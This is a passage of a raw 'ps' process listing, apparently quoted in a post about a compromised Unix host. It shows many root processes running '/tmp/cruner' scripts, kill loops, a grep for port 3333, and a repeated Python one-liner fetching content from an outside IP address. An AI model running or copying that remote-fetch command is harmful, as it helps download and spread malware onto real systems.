12976 0 15:46:09 ? 0:00 bash -sh > root 20235 4290 0 15:46:04 ? 0:00 sleep 60 > root 7317 27590 0 15:44:51 ? 0:00 bash -sh > root 21520 19150 0 - ? 0:00 <defunct> > root 9759 10928 0 - ? 0:00 <defunct> > root 19095 25206 0 15:45:12 ? 0:00 bash -sh > root 4509 4506 0 15:44:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13951 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 10591 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8785 28852 0 15:45:45 ? 0:00 bash -sh > root 25164 25162 0 15:44:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5384 5357 0 15:45:49 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19664 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5468 25995 0 15:44:13 ? 0:00 bash -sh > root 4392 27643 0 15:45:44 ? 0:00 bash -sh > root 28234 1924 0 15:45:34 ? 0:00 sleep 60 > root 3116 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7098 29772 0 15:45:54 ? 0:00 sleep 60 > root 24123 7378 0 15:45:57 ? 0:00 xargs kill -9 > root 9821 11339 0 - ? 0:00 <defunct> > root 18970 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 8364 8352 0 15:46:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10607 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29864 21943 0 - ? 0:00 <defunct> > root 14014 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29021 22196 0 15:45:18 ? 0:00 sleep 60 > root 24740 25108 0 15:44:58 ? 0:00 bash -sh > root 26729 11102 0 15:46:02 ? 0:00 bash -sh > root 13531 1293 0 15:46:13 ? 0:00 bash -sh > root 28074 1710 0 15:45:47 ? 0:00 sleep 60 > root 13156 24129 0 - ? 0:00 <defunct> > root 1907 23320 0 15:46:06 ? 0:00 bash -sh > root 26895 6335 0 15:45:47 ? 0:00 sleep 60 > root 23238 12919 0 15:45:57 ? 0:00 sleep 60 > root 7309 5447 0 15:45:15 ? 0:00 sleep 60 > root 12340 29165 0 15:46:13 ? 0:00 sh /var/tmp/cruner > root 7916 23832 0 15:46:12 ? 0:00 xargs kill -9 > root 27156 22824 0 15:46:05 ? 0:00 sleep 60 > root 15926 19864 0 15:45:32 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4327 69 0 - ? 0:00 <defunct> > root 11996 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15889 17405 0 15:43:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23672 9504 0 15:46:05 ? 0:00 sleep 60 > root 6466 1 0 21:56:03 ? 0:00 sh /tmp/cruner > root 3863 5836 0 15:45:44 ? 0:00 sleep 60 > root 7856 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3651 21901 0 15:44:12 ? 0:00 bash -sh > root 8843 24670 0 15:43:43 ? 0:00 bash -sh > root 8760 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24514 9441 0 15:45:33 ? 0:00 bash -sh > root 5243 5211 0 15:43:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27007 18008 0 15:43:15 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2215 19757 0 15:45:39 ? 0:00 bash -sh > root 4614 24119 0 15:46:11 ? 0:00 sed -e s/\/.*//g > root 15119 10368 0 15:45:51 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24766 19387 0 15:45:47 ? 0:00 sleep 60 > root 8290 9131 0 15:45:45 ? 0:00 bash -sh > root 7601 18618 0 15:46:07 ? 0:00 bash -sh > root 26134 16440 0 15:45:34 ? 0:00 bash -sh > root 14283 19206 0 - ? 0:00 <defunct> > root 16156 9050 0 - ? 0:00 <defunct> > root 11886 11870 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17244 29827 0 15:44:52 ? 0:00 bash -sh > root 2515 1981 0 - ? 0:00 <defunct> > root 571 21403 0 15:45:27 ? 0:00 bash -sh > root 23679 20720 0 - ? 0:00 <defunct> > root 5921 5435 0 15:46:12 ? 0:00 xargs kill -9 > root 28957 27976 0 15:45:43 ? 0:00 sh /var/tmp/cruner > root 12351 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10415 18600 0 15:46:07 ? 0:00 sh /tmp/cruner > root 9036 1 0 18:08:22 ? 0:01 sh /var/tmp/cruner > root 23103 8815 0 15:46:01 ? 0:00 bash -sh > root 1920 28185 0 - ? 0:00 <defunct> > root 21288 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1478 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6826 13655 0 15:45:09 ? 0:00 sh /tmp/cruner > root 7279 19464 0 15:45:45 ? 0:00 bash -sh > root 8376 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6142 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9092 9674 0 15:46:07 ? 0:00 sleep 60 > root 22125 19372 0 15:45:47 ? 0:00 /bin/ksh -p /bin/kill -9 > root 15027 19193 0 15:43:11 ? 0:00 bash -sh > root 2945 12311 0 15:45:48 ? 0:00 sleep 60 > root 27012 17977 0 15:45:47 ? 0:00 xargs kill -9 > root 16484 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11771 929 0 - ? 0:00 <defunct> > root 3115 9055 0 - ? 0:00 <defunct> > root 18714 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22238 4158 0 15:45:26 ? 0:00 sleep 60 > root 25332 1950 0 15:46:10 ? 0:00 sleep 60 > root 11248 28075 0 15:46:07 ? 0:00 bash -sh > root 5780 28725 0 - ? 0:00 <defunct> > root 1245 24570 0 - ? 0:00 <defunct> > root 6990 12824 0 - ? 0:00 <defunct> > root 29830 255 0 15:45:58 ? 0:00 sleep 60 > root 7847 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29208 15651 0 15:43:07 ? 0:00 bash -sh > root 27362 8801 0 15:46:10 ? 0:00 bash -sh > root 22896 17987 0 - ? 0:00 <defunct> > root 5813 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 29240 25541 0 15:45:44 ? 0:00 /bin/ksh -p /bin/kill -9 > root 16380 11324 0 15:44:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25995 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22934 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24414 10556 0 15:42:43 ? 0:00 bash -sh > root 19447 19445 0 15:44:31 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17226 10120 0 15:44:52 ? 0:00 bash -sh > root 23601 3621 0 - ? 0:00 <defunct> > root 1207 23698 0 15:44:11 ? 0:00 bash -sh > root 11120 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13341 10564 0 15:45:21 ? 0:00 sleep 60 > root 23231 21363 0 - ? 0:00 <defunct> > root 7283 21697 0 15:45:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 171 28094 0 15:45:34 ? 0:00 sleep 60 > root 22917 11111 0 15:45:43 ? 0:00 bash -sh > root 10466 24780 0 15:45:32 ? 0:00 bash -sh > root 25127 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17796 17778 0 - ? 0:00 <defunct> > root 28016 1 0 16:33:16 ? 0:01 sh /var/tmp/cruner > root 27608 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13388 7089 0 - ? 0:00 <defunct> > root 10625 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 19814 19715 0 15:45:38 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1899 8639 0 15:45:48 ? 0:00 xargs kill -9 > root 11279 2215 0 - ? 0:00 <defunct> > root 13599 16947 0 15:45:41 ? 0:00 sleep 60 > root 19760 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28902 5334 0 15:44:33 ? 0:00 bash -sh > root 9294 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 27598 852 0 15:46:02 ? 0:00 sleep 60 > root 1906 1890 0 15:45:39 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22260 12521 0 15:46:01 ? 0:00 sh /tmp/cruner > root 13197 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28184 6694 0 15:45:47 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14629 22322 0 15:43:44 ? 0:00 bash -sh > root 4975 28885 0 15:43:54 ? 0:00 bash -sh > root 6924 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 6647 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11445 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3271 7337 0 15:43:36 ? 0:00 bash -sh > root 9697 6705 0 - ? 0:00 <defunct> > root 21727 19032 0 15:45:47 ? 0:00 bash -sh > root 12348 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4979 11742 0 - ? 0:00 <defunct> > root 8301 17561 0 - ? 0:00 <defunct> > root 25686 14366 0 - ? 0:00 <defunct> > root 22744 24508 0 15:45:38 ? 0:00 sleep 60 > root 11912 1 0 20:50:49 ? 0:00 sh /var/tmp/cruner > root 19239 19137 0 - ? 0:00 <defunct> > root 14380 1530 0 15:44:16 ? 0:00 bash -sh > root 28698 6809 0 15:44:59 ? 0:00 bash -sh > root 26432 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6680 11290 0 - ? 0:00 <defunct> > root 17227 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19715 25311 0 15:45:38 ? 0:00 bash -sh > root 16318 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20417 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22259 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23053 12555 0 15:45:38 ? 0:00 bash -sh > root 27389 29444 0 15:44:32 ? 0:00 bash -sh > root 14700 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28302 19141 0 15:45:43 ? 0:00 bash -sh > root 8932 13135 0 - ? 0:00 <defunct> > root 6671 25849 0 15:45:35 ? 0:00 sleep 60 > root 21522 12442 0 15:46:09 ? 0:00 sleep 60 > root 4521 3984 0 - ? 0:00 <defunct> > root 28310 5627 0 15:45:08 ? 0:00 bash -sh > root 12354 12350 0 15:46:13 ? 0:00 sh /tmp/cruner > root 28018 7908 0 - ? 0:00 <defunct> > root 6701 2676 0 - ? 0:00 <defunct> > root 7215 6907 0 15:45:45 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22308 9355 0 15:45:06 ? 0:00 bash -sh > root 27316 2824 0 - ? 0:00 <defunct> > root 1440 9023 0 15:45:48 ? 0:00 sleep 60 > root 6447 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 11538 22738 0 - ? 0:00 <defunct> > root 11852 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11320 19969 0 - ? 0:00 <defunct> > root 3512 12391 0 15:45:35 ? 0:00 sleep 60 > root 28078 21733 0 - ? 0:00 <defunct> > root 11817 10584 0 15:46:13 ? 0:00 xargs kill -9 > root 10628 28966 0 15:43:55 ? 0:00 bash -sh > root 15957 27090 0 15:45:11 ? 0:00 sh /tmp/cruner > root 12469 26289 0 - ? 0:00 <defunct> > root 10496 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9196 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2780 25210 0 - ? 0:00 <defunct> > root 15975 12618 0 15:46:08 ? 0:00 sleep 60 > root 2368 1979 0 15:46:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21480 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 11135 13843 0 15:43:32 ? 0:00 bash -sh > root 27416 25216 0 15:44:59 ? 0:00 bash -sh > root 27018 26995 0 15:46:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 82 3281 0 - ? 0:00 <defunct> > root 12995 5987 0 15:44:15 ? 0:00 bash -sh > root 9216 16952 0 15:43:38 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11434 27004 0 15:45:50 ? 0:00 bash -sh > root 19824 8302 0 - ? 0:00 <defunct> > root 430 17835 0 15:45:14 ? 0:00 bash -sh > root 6246 2386 0 - ? 0:00 <defunct> > root 22988 6743 0 15:45:38 ? 0:00 bash -sh > root 17144 17045 0 15:45:42 ? 0:00 /bin/ksh -p /bin/kill -9 > root 14584 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27027 22978 0 - ? 0:00 <defunct> > root 10946 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11171 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8463 63 0 15:45:10 ? 0:00 sh /var/tmp/cruner > root 22653 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17467 10774 0 15:45:29 ? 0:00 bash -sh > root 1243 15437 0 15:45:53 ? 0:00 sleep 60 > root 29917 17252 0 15:45:48 ? 0:00 sh /tmp/cruner > root 1214 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 28635 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 12971 4503 0 15:46:13 ? 0:00 bash -sh > root 16900 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 6568 5537 0 15:46:06 ? 0:00 bash -sh > root 16492 14581 0 15:45:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12023 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24228 14060 0 - ? 0:00 <defunct> > root 13915 13944 0 - ? 0:00 <defunct> > root 13527 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3882 2398 0 15:45:19 ? 0:00 sleep 60 > root 24318 2210 0 15:43:14 ? 0:00 bash -sh > root 3983 4013 0 15:46:06 ? 0:00 sleep 60 > root 22799 4972 0 - ? 0:00 <defunct> > root 1647 642 0 15:45:03 ? 0:00 bash -sh > root 17325 21582 0 15:45:29 ? 0:00 bash -sh > root 25731 2889 0 15:44:54 ? 0:00 sh /var/tmp/cruner > root 21808 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 4666 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26519 678 0 15:45:18 ? 0:00 bash -sh > root 29589 23878 0 15:45:18 ? 0:00 sleep 60 > root 13254 29404 0 15:45:29 ? 0:00 sleep 60 > root 3500 11804 0 15:45:24 ? 0:00 bash -sh > root 302 25043 0 15:45:48 ? 0:00 sh /tmp/cruner > root 28508 28228 0 15:45:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6920 21653 0 15:45:09 ? 0:00 bash -sh > root 24580 8208 0 15:45:52 ? 0:00 sleep 60 > root 9810 23951 0 - ? 0:00 <defunct> > root 15283 7721 0 15:45:41 ? 0:00 sleep 60 > root 17190 21797 0 15:44:48 ? 0:00 bash -sh > root 19978 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 28745 3284 0 15:45:34 ? 0:00 sleep 60 > root 15298 24469 0 - ? 0:00 <defunct> > root 12126 5932 0 - ? 0:00 <defunct> > root 6092 3226 0 15:45:44 ? 0:00 bash -sh > root 3886 27654 0 15:46:11 ? 0:00 awk {print $7} > root 13233 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19126 19509 0 15:45:33 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15114 27288 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 1950 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24475 8398 0 - ? 0:00 <defunct> > root 12524 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13105 9574 0 15:45:21 ? 0:00 sleep 60 > root 3956 5184 0 - ? 0:00 <defunct> > root 21557 11994 0 15:43:04 ? 0:00 bash -sh > root 1862 17063 0 15:46:02 ? 0:00 sleep 60 > root 11716 14253 0 - ? 0:00 <defunct> > root 13112 2243 0 - ? 0:00 <defunct> > root 26905 2686 0 15:46:02 ? 0:00 bash -sh > root 22625 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 28008 21509 0 - ? 0:00 <defunct> > root 26000 27586 0 - ? 0:00 <defunct> > root 18792 218 0 15:45:46 ? 0:00 xargs kill -9 > root 24678 10050 0 15:44:32 ? 0:00 bash -sh > root 9545 2888 0 15:45:25 ? 0:00 sleep 60 > root 17741 27774 0 15:43:03 ? 0:00 bash -sh > root 1589 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11572 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 683 27758 0 15:44:59 ? 0:00 xargs kill -9 > root 22215 11316 0 15:45:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23381 28647 0 15:45:57 ? 0:00 sh /var/tmp/cruner > root 13468 10925 0 - ? 0:00 <defunct> > root 25578 29735 0 - ? 0:00 <defunct> > root 28403 28365 0 15:46:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5264 4366 0 15:45:20 ? 0:00 sleep 60 > root 13574 10865 0 15:44:16 ? 0:00 bash -sh > root 3251 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21824 13067 0 15:45:06 ? 0:00 bash -sh > root 12517 15865 0 15:46:08 ? 0:00 xargs kill -9 > root 9566 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27500 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12760 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12578 26592 0 15:44:25 ? 0:00 bash -sh > root 8382 8013 0 15:44:38 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21123 24030 0 15:45:42 ? 0:00 xargs kill -9 > root 13642 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5706 16043 0 15:45:49 ? 0:00 bash -sh > root 25697 25669 0 15:45:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4795 4777 0 15:46:06 ? 0:00 sleep 60 > root 14873 10525 0 - ? 0:00 <defunct> > root 22591 1170 0 - ? 0:00 <defunct> > root 597 15008 0 15:45:08 ? 0:00 bash -sh > root 1085 20313 0 15:45:27 ? 0:00 sleep 60 > root 4565 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13272 22952 0 15:45:59 ? 0:00 xargs kill -9 > root 24133 13476 0 15:45:30 ? 0:00 sleep 60 > root 9527 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 17569 25826 0 15:46:04 ? 0:00 sleep 60 > root 10232 18195 0 - ? 0:00 <defunct> > root 25020 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29965 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24568 4611 0 15:45:17 ? 0:00 sleep 60 > root 25646 21083 0 - ? 0:00 <defunct> > root 4147 22039 0 15:45:48 ? 0:00 sleep 60 > root 11403 3638 0 15:45:59 ? 0:00 bash -sh > root 13123 9346 0 - ? 0:00 <defunct> > root 4633 29388 0 - ? 0:00 <defunct> > root 11888 11880 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3364 19779 0 - ? 0:00 <defunct> > root 22148 29831 0 - ? 0:00 <defunct> > root 28995 18336 0 15:45:18 ? 0:00 sleep 60 > root 29932 5764 0 15:46:11 ? 0:00 grep :3333 > root 18431 20591 0 - ? 0:00 <defunct> > root 9462 14505 0 15:44:14 ? 0:00 bash -sh > root 758 8736 0 15:45:18 ? 0:00 sleep 60 > root 13227 29094 0 - ? 0:00 <defunct> > root 22727 20681 0 15:42:55 ? 0:00 bash -sh > root 26657 1 0 20:02:26 ? 0:00 sh /var/tmp/cruner > root 26825 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18678 18628 0 15:43:34 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13405 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23210 18363 0 15:45:38 ? 0:00 bash -sh > root 16040 7431 0 - ? 0:00 <defunct> > root 17018 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5962 3580 0 15:46:06 ? 0:00 sleep 60 > root 26196 6537 0 15:45:13 ? 0:00 bash -sh > root 7224 22036 0 - ? 0:00 <defunct> > root 12050 6758 0 15:46:04 ? 0:00 bash -sh > root 23255 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10270 29142 0 15:44:43 ? 0:00 bash -sh > root 12482 7036 0 15:44:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23390 9287 0 15:45:43 ? 0:00 bash -sh > root 21403 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 11719 19137 0 - ? 0:00 <defunct> > root 5414 26656 0 - ? 0:00 <defunct> > root 27037 17771 0 15:46:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21794 8657 0 - ? 0:00 <defunct> > root 6799 6726 0 - ? 0:00 <defunct> > root 6531 7587 0 15:43:42 ? 0:00 bash -sh > root 23128 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 228 195 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11341 4271 0 15:45:41 ? 0:00 xargs kill -9 > root 8305 15522 0 15:45:45 ? 0:00 bash -sh > root 8296 19092 0 15:43:43 ? 0:00 bash -sh > root 9640 2608 0 15:43:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14190 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27112 18298 0 15:45:34 ? 0:00 sleep 60 > root 20845 21715 0 - ? 0:00 <defunct> > root 13100 24264 0 15:45:21 ? 0:00 sleep 60 > root 11468 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16013 11116 0 15:46:08 ? 0:00 bash -sh > root 19537 21693 0 - ? 0:00 <defunct> > root 10335 22779 0 15:44:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10744 12924 0 15:46:12 ? 0:00 bash -sh > root 14635 10067 0 15:45:45 ? 0:00 bash -sh > root 11137 19446 0 15:46:07 ? 0:00 sleep 60 > root 7992 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8636 5667 0 15:45:20 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5146 25245 0 - ? 0:00 <defunct> > root 10477 6561 0 15:45:59 ? 0:00 bash -sh > root 17773 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19527 12736 0 15:46:09 ? 0:00 sleep 60 > root 9887 6721 0 15:46:07 ? 0:00 sleep 60 > root 22182 22172 0 15:43:28 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1127 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 29788 19434 0 15:45:39 ? 0:00 bash -sh > root 10818 26606 0 15:46:12 ? 0:00 bash -sh > root 13181 3688 0 15:45:32 ? 0:00 sleep 60 > root 28400 7844 0 15:45:03 ? 0:00 bash -sh > root 17287 14197 0 15:46:08 ? 0:00 /bin/ksh -p /bin/kill -9 > root 14767 23901 0 - ? 0:00 <defunct> > root 3586 28021 0 15:45:35 ? 0:00 sleep 60 > root 1761 29438 0 15:44:02 ? 0:00 bash -sh > root 16929 21559 0 15:44:52 ? 0:00 bash -sh > root 11525 10969 0 15:45:10 ? 0:00 bash -sh > root 11134 17604 0 - ? 0:00 <defunct> > root 21300 13644 0 15:43:13 ? 0:00 bash -sh > root 28198 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6850 28118 0 15:45:35 ? 0:00 sleep 60 > root 20885 12872 0 15:45:42 ? 0:00 xargs kill -9 > root 13150 16616 0 - ? 0:00 <defunct> > root 16261 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28128 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7696 14015 0 15:45:31 ? 0:00 sleep 60 > root 19948 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29744 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5426 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 23651 4927 0 15:44:27 ? 0:00 bash -sh > root 29471 10749 0 15:44:59 ? 0:00 bash -sh > root 22830 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 4027 2680 0 15:45:40 ? 0:00 bash -sh > root 19558 10698 0 15:45:46 ? 0:00 xargs kill -9 > root 26206 29882 0 15:46:10 ? 0:00 sleep 60 > root 15196 22998 0 - ? 0:00 <defunct> > root 8442 19857 0 15:45:20 ? 0:00 sleep 60 > root 14457 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 6378 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22722 24576 0 - ? 0:00 <defunct> > root 26965 25210 0 - ? 0:00 <defunct> > root 17825 28495 0 15:45:42 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1223 1 0 01:05:20 ? 0:00 sh /var/tmp/cruner > root 22853 4374 0 15:45:47 ? 0:00 bash -sh > root 15729 2784 0 15:46:00 ? 0:00 sh /tmp/cruner > root 19338 4214 0 15:46:04 ? 0:00 sleep 60 > root 10306 8844 0 15:45:36 ? 0:00 sleep 60 > root 6251 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20479 24963 0 15:44:31 ? 0:00 bash -sh > root 7563 19617 0 15:44:34 ? 0:00 bash -sh > root 16090 9427 0 15:45:16 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10392 25690 0 15:46:12 ? 0:00 bash -sh > root 23751 23746 0 15:44:36 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18751 13837 0 15:45:42 ? 0:00 sleep 60 > root 2250 9615 0 - ? 0:00 <defunct> > root 10577 2855 0 15:45:21 ? 0:00 sleep 60 > root 23843 760 0 15:45:43 ? 0:00 sh /var/tmp/cruner > root 4401 700 0 - ? 0:00 <defunct> > root 17332 15216 0 15:46:08 ? 0:00 sleep 60 > root 22233 14988 0 15:45:47 ? 0:00 sh /var/tmp/cruner > root 11873 24669 0 15:45:59 ? 0:00 bash -sh > root 16550 27085 0 15:45:42 ? 0:00 sleep 60 > root 28721 3783 0 15:45:47 ? 0:00 sleep 60 > root 9434 22653 0 15:45:41 ? 0:00 sh /var/tmp/cruner > root 27553 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6841 4843 0 15:45:58 ? 0:00 sleep 60 > root 16780 23053 0 - ? 0:00 <defunct> > root 29667 11792 0 15:45:48 ? 0:00 sh /var/tmp/cruner > root 25211 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 3259 23089 0 - ? 0:00 <defunct> > root 23338 8428 0 15:44:58 ? 0:00 bash -sh > root 5905 14531 0 - ? 0:00 <defunct> > root 1958 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9934 24782 0 - ? 0:00 <defunct> > root 11149 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17262 22280 0 - ? 0:00 <defunct> > root 7165 21503 0 15:46:07 ? 0:00 bash -sh > root 1476 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20011 12953 0 - ? 0:00 <defunct> > root 10704 15637 0 15:45:32 ? 0:00 bash -sh > root 2845 25703 0 15:45:19 ? 0:00 sleep 60 > root 25890 6857 0 15:45:53 ? 0:00 sh /tmp/cruner > root 4032 23506 0 15:45:54 ? 0:00 bash -sh > root 2004 1270 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26185 15215 0 15:44:09 ? 0:00 bash -sh > root 690 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 19786 26346 0 15:45:29 ? 0:00 sleep 60 > root 12136 7637 0 - ? 0:00 <defunct> > root 28192 26599 0 15:45:47 ? 0:00 bash -sh > root 4936 25569 0 - ? 0:00 <defunct> > root 10843 28999 0 15:45:59 ? 0:00 bash -sh > root 3583 24509 0 15:45:48 ? 0:00 sleep 60 > root 29242 26741 0 15:46:11 ? 0:00 sleep 60 > root 3209 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7649 13706 0 15:45:40 ? 0:00 bash -sh > root 21904 22139 0 15:45:17 ? 0:00 sleep 60 > root 5869 28387 0 15:45:28 ? 0:00 sleep 60 > root 3407 25551 0 15:46:11 ? 0:00 xargs kill -9 > root 22662 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4970 10159 0 - ? 0:00 <defunct> > root 